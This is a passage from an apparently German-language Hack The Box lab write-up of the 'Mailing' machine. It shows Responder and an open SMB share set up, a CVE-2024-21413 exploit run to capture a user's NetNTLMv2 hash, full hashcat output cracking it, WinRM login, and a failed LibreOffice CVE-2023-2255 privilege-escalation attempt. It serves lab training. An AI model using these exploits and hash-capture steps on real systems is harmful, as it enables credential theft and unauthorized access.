natürlich entpackt.",[11,3882,3883],{},[17,3884],{"alt":19,"src":3885},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626200328940.webp",[11,3887,3888],{},"Um den NTLM-Hash am Ende abgreifen zu können, wird anscheinend das Tool \"responder\" benötigt. Zumindest habe ich das durch die GitHub Description herausgefunden.",[11,3890,3891],{},"Also habe ich das Tool ebenfalls gestartet.",[25,3893,3898],{"className":3894,"code":3896,"language":3897,"meta":19},[3895],"language-text","responder -I tun0 -v\n","text",[31,3899,3896],{"__ignoreMap":19},[11,3901,3902],{},[17,3903],{"alt":19,"src":3904},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626200555792.webp",[11,3906,3907],{},"Zusätzlich wird ein SMB-Share benötigt.\nHierzu habe ich einfach fix einen neuen Ordner unter \"\u002Fhome\" mit dem Namen \"share\" erstellt.",[11,3909,3910],{},"Dann muss der Ordner noch als Share konfiguriert werden. Dazu wird die Datei \"smb.conf\" bearbeitet.",[25,3912,3914],{"className":27,"code":3913,"language":29,"meta":19,"style":19},"nano \u002Fetc\u002Fsamba\u002Fsmb.conf bearbeiten\n",[31,3915,3916],{"__ignoreMap":19},[34,3917,3918,3921,3924],{"class":36,"line":37},[34,3919,3920],{"class":40},"nano",[34,3922,3923],{"class":44}," \u002Fetc\u002Fsamba\u002Fsmb.conf",[34,3925,3926],{"class":44}," bearbeiten\n",[11,3928,3929],{},"Ganz unten in der Datei füge ich dann folgenden Codeblock hinzu:",[25,3931,3934],{"className":3932,"code":3933,"language":3897,"meta":19},[3895],"[public]\npath = \u002Fhome\u002Fshare\npublic = yes\nguest only = yes\nwritable = yes\nforce create mode = 0666\nforce directory mode = 0777\nbrowseable = yes\n",[31,3935,3933],{"__ignoreMap":19},[11,3937,3938],{},"Anschließend muss der Service noch neu gestartet werden.",[25,3940,3942],{"className":27,"code":3941,"language":29,"meta":19,"style":19},"sudo systemctl restart smbd\n",[31,3943,3944],{"__ignoreMap":19},[34,3945,3946,3949,3952,3955],{"class":36,"line":37},[34,3947,3948],{"class":40},"sudo",[34,3950,3951],{"class":44}," systemctl",[34,3953,3954],{"class":44}," restart",[34,3956,3957],{"class":44}," smbd\n",[11,3959,3960],{},"Nun haben wir den Ordner \"share\" als SMB-Share konfiguriert.",[11,3962,3963],{},"Danach führe ich den Exploit aus.",[25,3965,3967],{"className":27,"code":3966,"language":29,"meta":19,"style":19},"python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url \"\\\\10.10.14.21\\home\\share\" --subject \"Grüße\"\n",[31,3968,3969],{"__ignoreMap":19},[34,3970,3971,3974,3977,3980,3982,3985,3988,3991,3994,3997,4000,4003,4005,4008,4011,4014,4017,4020,4023,4026,4029,4031,4034],{"class":36,"line":37},[34,3972,3973],{"class":40},"python3",[34,3975,3976],{"class":44}," CVE-2024-21413.py",[34,3978,3979],{"class":48}," --server",[34,3981,45],{"class":44},[34,3983,3984],{"class":48}," --port",[34,3986,3987],{"class":48}," 587",[34,3989,3990],{"class":48}," --username",[34,3992,3993],{"class":44}," administrator@mailing.htb",[34,3995,3996],{"class":48}," --password",[34,3998,3999],{"class":44}," homenetworkingadministrator",[34,4001,4002],{"class":48}," --sender",[34,4004,3993],{"class":44},[34,4006,4007],{"class":48}," --recipient",[34,4009,4010],{"class":44}," maya@mailing.htb",[34,4012,4013],{"class":48}," --url",[34,4015,4016],{"class":706}," \"",[34,4018,4019],{"class":48},"\\\\",[34,4021,4022],{"class":44},"10.10.14.21\\home\\share",[34,4024,4025],{"class":706},"\"",[34,4027,4028],{"class":48}," --subject",[34,4030,4016],{"class":706},[34,4032,4033],{"class":44},"Grüße",[34,4035,4036],{"class":706},"\"\n",[11,4038,4039],{},"Das Passwort haben wir in einem vorherigen Schritt mit Hashcat gecracked.\nDen Recipient habe ich über die Website herausgefunden.\nDie URL ist unser SMB-Share.",[11,4041,4042],{},"Die E-Mail wurde erfolgreich versandt.",[11,4044,4045],{},[17,4046],{"alt":19,"src":4047},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626201331488.webp",[11,4049,4050],{},"Beim Tool \"responder\" habe ich dann tatsächlich den NTLM-Hash vom User \"maya\" erhalten.",[11,4052,4053],{},[17,4054],{"alt":19,"src":4055},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626203003468.webp",[25,4057,4060],{"className":4058,"code":4059,"language":3897,"meta":19},[3895],"[SMB] NTLMv2-SSP Client   : 10.129.15.95\n[SMB] NTLMv2-SSP Username : MAILING\\maya\n[SMB] NTLMv2-SSP Hash     : maya::MAILING:31c8a07c896809d6:F66936CCB913904565A71CB24C7D2451:010100000000000000D97F4518C7DA015E14302777536C400000000002000800310053004E004A0001001E00570049004E002D0054005A00570032005300470057003700430051004A0004003400570049004E002D0054005A00570032005300470057003700430051004A002E00310053004E004A002E004C004F00430041004C0003001400310053004E004A002E004C004F00430041004C0005001400310053004E004A002E004C004F00430041004C000700080000D97F4518C7DA0106000400020000000800300030000000000000000000000000200000E7151FAE50E172A0ABFAB86AC0C7E315336A67313765DFF14C04B942AADF0CD20A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320031000000000000000000\n",[31,4061,4059],{"__ignoreMap":19},[11,4063,4064],{},"Den NTLM-Hash probier ich dann ebenfalls wieder mit Hilfe von Hashcat zu cracken.",[11,4066,4067],{},[17,4068],{"alt":19,"src":4069},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626203737020.webp",[25,4071,4073],{"className":27,"code":4072,"language":29,"meta":19,"style":19},"┌─[root@htb-1ib4cimcmx]─[\u002Fusr\u002Fshare\u002Fwordlists]\n└──╼ #hashcat -a 0 -m 5600 maya::MAILING:31c8a07c896809d6:F66936CCB913904565A71CB24C7D2451:010100000000000000D97F4518C7DA015E14302777536C400000000002000800310053004E004A0001001E00570049004E002D0054005A00570032005300470057003700430051004A0004003400570049004E002D0054005A00570032005300470057003700430051004A002E00310053004E004A002E004C004F00430041004C0003001400310053004E004A002E004C004F00430041004C0005001400310053004E004A002E004C004F00430041004C000700080000D97F4518C7DA0106000400020000000800300030000000000000000000000000200000E7151FAE50E172A0ABFAB86AC0C7E315336A67313765DFF14C04B942AADF0CD20A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320031000000000000000000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\nhashcat (v6.2.6) starting\n\nOpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]\n==================================================================================================================================================\n* Device #1: pthread-haswell-AMD EPYC 7543 32-Core Processor, skipped\n\nOpenCL API (OpenCL 2.1 LINUX) - Platform #2 [Intel(R) Corporation]\n==================================================================\n* Device #2: AMD EPYC 7543 32-Core Processor, 3919\u002F7902 MB (987 MB allocatable), 4MCU\n\nMinimum password length supported by kernel: 0\nMaximum password length supported by kernel: 256\n\nHashes: 1 digests; 1 unique digests, 1 unique salts\nBitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5\u002F13 rotates\nRules: 1\n\nOptimizers applied:\n* Zero-Byte\n* Not-Iterated\n* Single-Hash\n* Single-Salt\n\nATTENTION! Pure (unoptimized) backend kernels selected.\nPure kernels can crack longer passwords, but drastically reduce performance.\nIf you want to switch to optimized kernels, append -O to your commandline.\nSee the above message to find out about the exact limits.\n\nWatchdog: Hardware monitoring interface not found on your system.\nWatchdog: Temperature abort trigger disabled.\n\nHost memory required for this attack: 1 MB\n\nDictionary cache building \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt: 33553434 bytes (23.98%Dictionary cache building \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt: 100660302 bytes (71.94Dictionary cache built:\n* Filename..: \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n* Passwords.: 14344392\n* Bytes.....: 139921507\n* Keyspace..: 14344385\n* Runtime...: 1 sec\n\nMAYA::MAILING:31c8a07c896809d6:f66936ccb913904565a71cb24c7d2451:010100000000000000d97f4518c7da015e14302777536c400000000002000800310053004e004a0001001e00570049004e002d0054005a00570032005300470057003700430051004a0004003400570049004e002d0054005a00570032005300470057003700430051004a002e00310053004e004a002e004c004f00430041004c0003001400310053004e004a002e004c004f00430041004c0005001400310053004e004a002e004c004f00430041004c000700080000d97f4518c7da0106000400020000000800300030000000000000000000000000200000e7151fae50e172a0abfab86ac0c7e315336a67313765dff14c04b942aadf0cd20a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00320031000000000000000000:m4y4ngs4ri\n                                                          \nSession..........: hashcat\nStatus...........: Cracked\nHash.Mode........: 5600 (NetNTLMv2)\nHash.Target......: MAYA::MAILING:31c8a07c896809d6:f66936ccb913904565a7...000000\nTime.Started.....: Tue Jun 25 16:02:47 2024 (4 secs)\nTime.Estimated...: Tue Jun 25 16:02:51 2024 (0 secs)\nKernel.Feature...: Pure Kernel\nGuess.Base.......: File (\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt)\nGuess.Queue......: 1\u002F1 (100.00%)\nSpeed.#2.........:  1637.9 kH\u002Fs (0.88ms) @ Accel:512 Loops:1 Thr:1 Vec:8\nRecovered........: 1\u002F1 (100.00%) Digests (total), 1\u002F1 (100.00%) Digests (new)\nProgress.........: 5933056\u002F14344385 (41.36%)\nRejected.........: 0\u002F5933056 (0.00%)\nRestore.Point....: 5931008\u002F14344385 (41.35%)\nRestore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:0-1\nCandidate.Engine.: Device Generator\nCandidates.#2....: m6161 -> m494dtxp\n\nStarted: Tue Jun 25 16:02:37 2024\nStopped: Tue Jun 25 16:02:52 2024\n",[31,4074,4075,4080,4087,4094,4098,4141,4146,4155,4159,4177,4181,4190,4194,4210,4226,4230,4252,4276,4282,4286,4293,4299,4305,4311,4317,4321,4329,4356,4384,4408,4412,4432,4444,4448,4466,4470,4505,4511,4517,4523,4529,4535,4539,4544,4549,4555,4561,4572,4579,4603,4624,4634,4642,4650,4663,4688,4698,4707,4717,4728,4739,4754,4758,4773],{"__ignoreMap":19},[34,4076,4077],{"class":36,"line":37},[34,4078,4079],{"class":40},"┌─[root@htb-1ib4cimcmx]─[\u002Fusr\u002Fshare\u002Fwordlists]\n",[34,4081,4082,4084],{"class":36,"line":73},[34,4083,76],{"class":40},[34,4085,4086],{"class":79}," #hashcat -a 0 -m 5600 maya::MAILING:31c8a07c896809d6:F66936CCB913904565A71CB24C7D2451:010100000000000000D97F4518C7DA015E14302777536C400000000002000800310053004E004A0001001E00570049004E002D0054005A00570032005300470057003700430051004A0004003400570049004E002D0054005A00570032005300470057003700430051004A002E00310053004E004A002E004C004F00430041004C0003001400310053004E004A002E004C004F00430041004C0005001400310053004E004A002E004C004F00430041004C000700080000D97F4518C7DA0106000400020000000800300030000000000000000000000000200000E7151FAE50E172A0ABFAB86AC0C7E315336A67313765DFF14C04B942AADF0CD20A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320031000000000000000000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n",[34,4088,4089,4091],{"class":36,"line":83},[34,4090,3045],{"class":40},[34,4092,4093],{"class":95}," (v6.2.6) starting\n",[34,4095,4096],{"class":36,"line":105},[34,4097,2477],{"emptyLinePlaceholder":2476},[34,4099,4100,4102,4104,4106,4109,4112,4115,4118,4120,4122,4125,4127,4130,4132,4134,4136,4138],{"class":36,"line":126},[34,4101,3057],{"class":40},[34,4103,3060],{"class":44},[34,4105,3063],{"class":95},[34,4107,4108],{"class":48},"3.0",[34,4110,4111],{"class":44}," PoCL",[34,4113,4114],{"class":44}," 3.1+debian",[34,4116,4117],{"class":44},"  Linux,",[34,4119,3114],{"class":44},[34,4121,3123],{"class":44},[34,4123,4124],{"class":44}," SPIR,",[34,4126,3117],{"class":44},[34,4128,4129],{"class":44}," 15.0.6,",[34,4131,3126],{"class":44},[34,4133,3129],{"class":44},[34,4135,3132],{"class":44},[34,4137,3072],{"class":95},[34,4139,4140],{"class":79},"#1 [The pocl project]\n",[34,4142,4143],{"class":36,"line":137},[34,4144,4145],{"class":44},"==================================================================================================================================================\n",[34,4147,4148,4150,4152],{"class":36,"line":160},[34,4149,3085],{"class":970},[34,4151,3088],{"class":95},[34,4153,4154],{"class":79},"#1: pthread-haswell-AMD EPYC 7543 32-Core Processor, skipped\n",[34,4156,4157],{"class":36,"line":175},[34,4158,2477],{"emptyLinePlaceholder":2476},[34,4160,4161,4163,4165,4167,4170,4172,4174],{"class":36,"line":194},[34,4162,3057],{"class":40},[34,4164,3060],{"class":44},[34,4166,3063],{"class":95},[34,4168,4169],{"class":48},"2.1",[34,4171,3069],{"class":44},[34,4173,3072],{"class":95},[34,4175,4176],{"class":79},"#2 [Intel(R) Corporation]\n",[34,4178,4179],{"class":36,"line":212},[34,4180,3080],{"class":44},[34,4182,4183,4185,4187],{"class":36,"line":223},[34,4184,3085],{"class":970},[34,4186,3088],{"class":95},[34,4188,4189],{"class":79},"#2: AMD EPYC 7543 32-Core Processor, 3919\u002F7902 MB (987 MB allocatable), 4MCU\n",[34,4191,4192],{"class":36,"line":238},[34,4193,2477],{"emptyLinePlaceholder":2476},[34,4195,4196,4198,4200,4202,4204,4206,4208],{"class":36,"line":256},[34,4197,3160],{"class":40},[34,4199,3163],{"class":44},[34,4201,3166],{"class":44},[34,4203,3169],{"class":44},[34,4205,3172],{"class":44},[34,4207,3175],{"class":44},[34,4209,3178],{"class":48},[34,4211,4212,4214,4216,4218,4220,4222,4224],{"class":36,"line":267},[34,4213,3183],{"class":40},[34,4215,3163],{"class":44},[34,4217,3166],{"class":44},[34,4219,3169],{"class":44},[34,4221,3172],{"class":44},[34,4223,3175],{"class":44},[34,4225,3196],{"class":48},[34,4227,4228],{"class":36,"line":282},[34,4229,2477],{"emptyLinePlaceholder":2476},[34,4231,4232,4234,4236,4238,4240,4242,4244,4246,4248,4250],{"class":36,"line":297},[34,4233,3205],{"class":40},[34,4235,148],{"class":48},[34,4237,3210],{"class":44},[34,4239,707],{"class":706},[34,4241,148],{"class":40},[34,4243,3217],{"class":44},[34,4245,3220],{"class":44},[34,4247,148],{"class":48},[34,4249,3217],{"class":44},[34,4251,3227],{"class":44},[34,4253,4254,4256,4258,4260,4262,4264,4266,4268,4270,4272,4274],{"class":36,"line":321},[34,4255,3232],{"class":40},[34,4257,3235],{"class":48},[34,4259,3238],{"class":44},[34,4261,3241],{"class":48},[34,4263,3244],{"class":44},[34,4265,3247],{"class":48},[34,4267,3250],{"class":44},[34,4269,3253],{"class":48},[34,4271,3256],{"class":44},[34,4273,3259],{"class":44},[34,4275,3262],{"class":44},[34,4277,4278,4280],{"class":36,"line":352},[34,4279,3267],{"class":40},[34,4281,3270],{"class":48},[34,4283,4284],{"class":36,"line":369},[34,4285,2477],{"emptyLinePlaceholder":2476},[34,4287,4288,4291],{"class":36,"line":387},[34,4289,4290],{"class":40},"Optimizers",[34,4292,3285],{"class":44},[34,4294,4295,4297],{"class":36,"line":408},[34,4296,3085],{"class":970},[34,4298,3292],{"class":95},[34,4300,4301,4303],{"class":36,"line":424},[34,4302,3085],{"class":970},[34,4304,3313],{"class":95},[34,4306,4307,4309],{"class":36,"line":440},[34,4308,3085],{"class":970},[34,4310,3320],{"class":95},[34,4312,4313,4315],{"class":36,"line":456},[34,4314,3085],{"class":970},[34,4316,3327],{"class":95},[34,4318,4319],{"class":36,"line":472},[34,4320,2477],{"emptyLinePlaceholder":2476},[34,4322,4323,4325,4327],{"class":36,"line":488},[34,4324,3343],{"class":40},[34,4326,3346],{"class":44},[34,4328,3349],{"class":95},[34,4330,4331,4334,4336,4339,4342,4344,4347,4349,4351,4354],{"class":36,"line":504},[34,4332,4333],{"class":40},"Pure",[34,4335,3360],{"class":44},[34,4337,4338],{"class":44}," can",[34,4340,4341],{"class":44}," crack",[34,4343,3369],{"class":44},[34,4345,4346],{"class":44}," passwords,",[34,4348,2688],{"class":44},[34,4350,3388],{"class":44},[34,4352,4353],{"class":44}," reduce",[34,4355,3394],{"class":44},[34,4357,4358,4360,4362,4364,4366,4368,4370,4372,4374,4376,4378,4380,4382],{"class":36,"line":520},[34,4359,3399],{"class":40},[34,4361,3402],{"class":44},[34,4363,3405],{"class":44},[34,4365,3408],{"class":44},[34,4367,3411],{"class":44},[34,4369,3408],{"class":44},[34,4371,3416],{"class":44},[34,4373,3422],{"class":44},[34,4375,3425],{"class":44},[34,4377,3428],{"class":48},[34,4379,3408],{"class":44},[34,4381,3433],{"class":44},[34,4383,3436],{"class":44},[34,4385,4386,4388,4390,4392,4394,4396,4398,4400,4402,4404,4406],{"class":36,"line":536},[34,4387,3441],{"class":40},[34,4389,3379],{"class":44},[34,4391,3446],{"class":44},[34,4393,3449],{"class":44},[34,4395,3408],{"class":44},[34,4397,3454],{"class":44},[34,4399,3457],{"class":44},[34,4401,3460],{"class":44},[34,4403,3379],{"class":44},[34,4405,3465],{"class":44},[34,4407,3468],{"class":44},[34,4409,4410],{"class":36,"line":552},[34,4411,2477],{"emptyLinePlaceholder":2476},[34,4413,4414,4416,4418,4420,4422,4424,4426,4428,4430],{"class":36,"line":581},[34,4415,3477],{"class":40},[34,4417,3480],{"class":44},[34,4419,3483],{"class":44},[34,4421,3486],{"class":44},[34,4423,1683],{"class":44},[34,4425,3491],{"class":44},[34,4427,402],{"class":44},[34,4429,3433],{"class":44},[34,4431,3498],{"class":44},[34,4433,4434,4436,4438,4440,4442],{"class":36,"line":596},[34,4435,3477],{"class":40},[34,4437,3505],{"class":44},[34,4439,3508],{"class":44},[34,4441,3511],{"class":44},[34,4443,3514],{"class":44},[34,4445,4446],{"class":36,"line":614},[34,4447,2477],{"emptyLinePlaceholder":2476},[34,4449,4450,4452,4454,4456,4458,4460,4462,4464],{"class":36,"line":647},[34,4451,849],{"class":40},[34,4453,3525],{"class":44},[34,4455,3528],{"class":44},[34,4457,120],{"class":44},[34,4459,3533],{"class":44},[34,4461,3536],{"class":44},[34,4463,148],{"class":48},[34,4465,3542],{"class":44},[34,4467,4468],{"class":36,"line":660},[34,4469,2477],{"emptyLinePlaceholder":2476},[34,4471,4472,4474,4476,4478,4480,4482,4484,4487,4489,4491,4493,4496,4498,4501,4503],{"class":36,"line":677},[34,4473,3551],{"class":40},[34,4475,3554],{"class":44},[34,4477,3557],{"class":44},[34,4479,3560],{"class":44},[34,4481,3563],{"class":48},[34,4483,3566],{"class":44},[34,4485,4486],{"class":95}," (23.98%Dictionary ",[34,4488,3572],{"class":44},[34,4490,3557],{"class":44},[34,4492,3560],{"class":44},[34,4494,4495],{"class":48}," 100660302",[34,4497,3566],{"class":44},[34,4499,4500],{"class":95}," (71.94Dictionary ",[34,4502,3572],{"class":44},[34,4504,3575],{"class":44},[34,4506,4507,4509],{"class":36,"line":688},[34,4508,3085],{"class":970},[34,4510,3582],{"class":95},[34,4512,4513,4515],{"class":36,"line":724},[34,4514,3085],{"class":970},[34,4516,3589],{"class":95},[34,4518,4519,4521],{"class":36,"line":741},[34,4520,3085],{"class":970},[34,4522,3596],{"class":95},[34,4524,4525,4527],{"class":36,"line":758},[34,4526,3085],{"class":970},[34,4528,3603],{"class":95},[34,4530,4531,4533],{"class":36,"line":770},[34,4532,3085],{"class":970},[34,4534,3610],{"class":95},[34,4536,4537],{"class":36,"line":786},[34,4538,2477],{"emptyLinePlaceholder":2476},[34,4540,4541],{"class":36,"line":803},[34,4542,4543],{"class":40},"MAYA::MAILING:31c8a07c896809d6:f66936ccb913904565a71cb24c7d2451:010100000000000000d97f4518c7da015e14302777536c400000000002000800310053004e004a0001001e00570049004e002d0054005a00570032005300470057003700430051004a0004003400570049004e002d0054005a00570032005300470057003700430051004a002e00310053004e004a002e004c004f00430041004c0003001400310053004e004a002e004c004f00430041004c0005001400310053004e004a002e004c004f00430041004c000700080000d97f4518c7da0106000400020000000800300030000000000000000000000000200000e7151fae50e172a0abfab86ac0c7e315336a67313765dff14c04b942aadf0cd20a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00320031000000000000000000:m4y4ngs4ri\n",[34,4545,4546],{"class":36,"line":814},[34,4547,4548],{"class":95},"                                                          \n",[34,4550,4551,4553],{"class":36,"line":829},[34,4552,3629],{"class":40},[34,4554,3632],{"class":44},[34,4556,4557,4559],{"class":36,"line":846},[34,4558,3637],{"class":40},[34,4560,3640],{"class":44},[34,4562,4563,4566,4569],{"class":36,"line":879},[34,4564,4565],{"class":40},"Hash.Mode........:",[34,4567,4568],{"class":48}," 5600",[34,4570,4571],{"class":95}," (NetNTLMv2)\n",[34,4573,4574,4576],{"class":36,"line":901},[34,4575,3653],{"class":40},[34,4577,4578],{"class":44}," MAYA::MAILING:31c8a07c896809d6:f66936ccb913904565a7...000000\n",[34,4580,4581,4583,4586,4588,4591,4594,4596,4599,4601],{"class":36,"line":924},[34,4582,3661],{"class":40},[34,4584,4585],{"class":44}," Tue",[34,4587,3667],{"class":44},[34,4589,4590],{"class":48}," 25",[34,4592,4593],{"class":44}," 16:02:47",[34,4595,3676],{"class":48},[34,4597,4598],{"class":95}," (4 ",[34,4600,3682],{"class":44},[34,4602,349],{"class":95},[34,4604,4605,4607,4609,4611,4613,4616,4618,4620,4622],{"class":36,"line":942},[34,4606,3689],{"class":40},[34,4608,4585],{"class":44},[34,4610,3667],{"class":44},[34,4612,4590],{"class":48},[34,4614,4615],{"class":44}," 16:02:51",[34,4617,3676],{"class":48},[34,4619,3703],{"class":95},[34,4621,3682],{"class":44},[34,4623,349],{"class":95},[34,4625,4626,4629,4631],{"class":36,"line":967},[34,4627,4628],{"class":40},"Kernel.Feature...:",[34,4630,3346],{"class":44},[34,4632,4633],{"class":44}," Kernel\n",[34,4635,4636,4638,4640],{"class":36,"line":998},[34,4637,3712],{"class":40},[34,4639,3715],{"class":44},[34,4641,3718],{"class":95},[34,4643,4644,4646,4648],{"class":36,"line":1042},[34,4645,3723],{"class":40},[34,4647,3726],{"class":44},[34,4649,3729],{"class":95},[34,4651,4652,4655,4658,4660],{"class":36,"line":1071},[34,4653,4654],{"class":40},"Speed.#2.........:",[34,4656,4657],{"class":48},"  1637.9",[34,4659,3740],{"class":44},[34,4661,4662],{"class":95}," (0.88ms) @ Accel:512 Loops:1 Thr:1 Vec:8\n",[34,4664,4665,4667,4669,4672,4674,4677,4680,4683,4686],{"class":36,"line":1082},[34,4666,3748],{"class":40},[34,4668,3726],{"class":44},[34,4670,4671],{"class":95}," (100.00%) Digests (",[34,4673,343],{"class":40},[34,4675,4676],{"class":95},"), 1\u002F1 (",[34,4678,4679],{"class":40},"100.00%",[34,4681,4682],{"class":95},") Digests (",[34,4684,4685],{"class":40},"new",[34,4687,349],{"class":95},[34,4689,4690,4692,4695],{"class":36,"line":1093},[34,4691,3758],{"class":40},[34,4693,4694],{"class":44}," 5933056\u002F14344385",[34,4696,4697],{"class":95}," (41.36%)\n",[34,4699,4700,4702,4705],{"class":36,"line":1104},[34,4701,3769],{"class":40},[34,4703,4704],{"class":44}," 0\u002F5933056",[34,4706,3775],{"class":95},[34,4708,4709,4711,4714],{"class":36,"line":1130},[34,4710,3780],{"class":40},[34,4712,4713],{"class":44}," 5931008\u002F14344385",[34,4715,4716],{"class":95}," (41.35%)\n",[34,4718,4719,4722,4724,4726],{"class":36,"line":1149},[34,4720,4721],{"class":40},"Restore.Sub.#2...:",[34,4723,3794],{"class":44},[34,4725,3797],{"class":44},[34,4727,3800],{"class":44},[34,4729,4730,4733,4736],{"class":36,"line":1171},[34,4731,4732],{"class":40},"Candidate.Engine.:",[34,4734,4735],{"class":44}," Device",[34,4737,4738],{"class":44}," Generator\n",[34,4740,4741,4744,4747,4749,4751],{"class":36,"line":1188},[34,4742,4743],{"class":40},"Candidates.#2....:",[34,4745,4746],{"class":44}," m6161",[34,4748,3816],{"class":95},[34,4750,3819],{"class":970},[34,4752,4753],{"class":44}," m494dtxp\n",[34,4755,4756],{"class":36,"line":1214},[34,4757,2477],{"emptyLinePlaceholder":2476},[34,4759,4760,4762,4764,4766,4768,4771],{"class":36,"line":1239},[34,4761,3831],{"class":40},[34,4763,4585],{"class":44},[34,4765,3667],{"class":44},[34,4767,4590],{"class":48},[34,4769,4770],{"class":44}," 16:02:37",[34,4772,3843],{"class":48},[34,4774,4775,4777,4779,4781,4783,4786],{"class":36,"line":1261},[34,4776,3848],{"class":40},[34,4778,4585],{"class":44},[34,4780,3667],{"class":44},[34,4782,4590],{"class":48},[34,4784,4785],{"class":44}," 16:02:52",[34,4787,3843],{"class":48},[11,4789,4790],{},"Nun probiere ich mich mal per Evil-WinRM am Server anzumelden. Die Anmeldung hat auch geklappt.",[11,4792,4793],{},[17,4794],{"alt":19,"src":4795},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626205432915.webp",[11,4797,4798],{},"Ich navigiere dann mal auf den Desktop, da dort meistens die Userflag liegt.",[11,4800,4801],{},[17,4802],{"alt":19,"src":4803},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626205659755.webp",[11,4805,4806],{},"Die Flag lasse ich mir dann ausgeben.",[11,4808,4809],{},[17,4810],{"alt":19,"src":4811},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626205752272.webp",[11,4813,4814],{},"Anschließend habe ich mir die installierten Programme auf dem Server angesehen. Ich habe nun Programme mit Exploits gesucht, mit welcher wir uns per Privilege Escalation Adminrechte beschaffen können. Hier sind mir direkt Git, VMware, OpenSSL und LibreOffice aufgefallen. Bei Git, VMware und OpenSSL habe ich in den Versionen nichts finden können. Bei LibreOffice allerdings schon.",[11,4816,4817],{},[17,4818],{"alt":19,"src":4819},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626205956683.webp",[11,4821,4822],{},"Im Installationsordner von LibreOffice hab ich mir die Readme anzeigen lassen. Hier habe ich die installierte Version von LibreOffice herausgefunden.",[11,4824,4825],{},[17,4826],{"alt":19,"src":4827},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626210309809.webp",[11,4829,4830],{},"Folgenden brauchbaren Exploit habe ich für LibreOffice 7.4 gefunden.",[11,4832,4833],{},[17,4834],{"alt":19,"src":4835},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626210804187.webp",[11,4837,4838,4839,4843],{},"Dann habe ich nach einem PoC für diesen Exploit gesucht und auch einen auf GitHub gefunden: ",[3000,4840,4841],{"href":4841,"rel":4842},"https:\u002F\u002Fgithub.com\u002Felweth-sec\u002FCVE-2023-2255",[3004],"\nDiesen habe ich mir dann heruntergeladen.",[11,4845,4846],{},[17,4847],{"alt":19,"src":4848},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626211012691.webp",[11,4850,4851],{},"Und natürlich auch wieder entpackt.",[11,4853,4854],{},[17,4855],{"alt":19,"src":4848},[11,4857,4858],{},"Mit Hilfe der GitHub Description habe ich mir dann einen Exploit gebaut. Dieser soll den User \"maya\" zur Gruppe \"Administrators\" hinzufügen.",[11,4860,4861],{},[17,4862],{"alt":19,"src":4863},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626211227535.webp",[11,4865,4866],{},"Da der Exploit auf den Zielserver muss, starte ich fix einen HTTP-Server mit Hilfe von Python.",[11,4868,4869],{},[17,4870],{"alt":19,"src":4871},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240627091833407.webp",[11,4873,4874],{},"Mit Hilfe von Curl lade ich dann den Exploit von meiner Attackbox.",[11,4876,4877],{},[17,4878],{"alt":19,"src":4879},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626211435941.webp",[11,4881,4882],{},"Beim HTTP-Server sehe ich den erfolgreichen Download.",[11,4884,4885],{},[17,4886],{"alt":19,"src":4887},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626211504226.webp",[11,4889,4890],{},"Nun führe ich den Exploit aus.",[11,4892,4893],{},[17,4894],{"alt":19,"src":4895},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626211548025.webp",[11,4897,4898],{},"Ich habe mir dann die Gruppenmitgliedschaft vom User \"maya\" anzeigen lassen. Der Exploit hat wohl nicht funktioniert. Wir sind kein Mitglied der Gruppe \"Administrators\". Zusätzlich ist mir aufgefallen, dass der Zielserver wohl auf italienisch oder spanisch ist.",[11,4900,4901],{},[17,4902],{"alt":19,"src":4903},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626211628383.webp",[11,4905,4906],{},"Zur kurzen Prüfung habe ich die Gruppe \"Usuarios de escritori\" mit Google Translate übersetzen lassen. Ist wohl tatsächlich spanisch. Somit funktioniert der Exploit nicht, da ich den Namen der englischen Gruppe \"Administrators\" verwendet hatte.",[11,4908,4909],{},[17,4910],{"alt":19,"src":4911},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626211754860.webp",[11,4913,4914],{},"Also habe ich 